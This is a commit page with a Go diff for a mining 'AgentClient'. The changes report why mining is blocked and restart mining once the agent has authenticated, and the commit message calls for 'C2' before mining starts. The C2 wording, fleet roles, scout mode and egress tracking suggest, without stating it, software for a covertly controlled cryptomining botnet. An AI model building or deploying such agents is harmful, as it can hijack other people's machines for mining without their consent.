Fix simple deploy mining: refresh auth tier policy and mine immediately.
Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled

Deploy and Mine agents were stuck at 0 H/s because idle mining_mode blocked workers and the tier orchestrator kept pre-auth defaults instead of server ForceTier=cpu_inprocess. Refresh tiers after auth, require C2 before start, surface mining_block_reason in stats_batch.
This commit is contained in:
AetherForge
2026-06-07 20:30:24 -07:00
parent 9e870fff8b
commit 456988caaa
14 changed files with 105 additions and 10 deletions

View File

@@ -1252,6 +1252,11 @@ func (c *AgentClient) statsLoop(stop <-chan struct{}) {
stats.StratumEgress = c.stratumEgress(false)
}
stats.MiningHashrate = avg15s + stats.GPUHashrate15s
if stats.MiningHashrate < 1 {
if reason := PrimaryMiningBlockReason(c.collectMiningDiagnostics()); reason != "" {
stats.MiningBlockReason = reason
}
}
if depth := c.contingencyDepthForStats(); depth > 0 {
stats.ContingencyDepth = depth
}
@@ -1491,13 +1496,15 @@ func (c *AgentClient) kickMiningAfterAuth() {
if c.cfg.IsSeederRole(c.fleetRoleHint()) || c.cfg.MiningDisabled || c.cfg.ApkMode || c.cfg.ScoutMode {
return
}
if c.cfg.SimpleDeploy || deploy.WantsDeferMining() {
return
}
if c.miningCtx == nil || c.miningChain == nil {
return
}
go func() {
c.miningChain.refreshTierOrchestrator()
if c.cfg.SimpleDeploy || deploy.WantsDeferMining() {
log.Printf("[mining] tier policy refreshed after auth (simple_deploy/defer)")
return
}
log.Printf("[mining] restarting chain after auth with server policy")
c.miningChain.Restart(c.miningCtx)
}()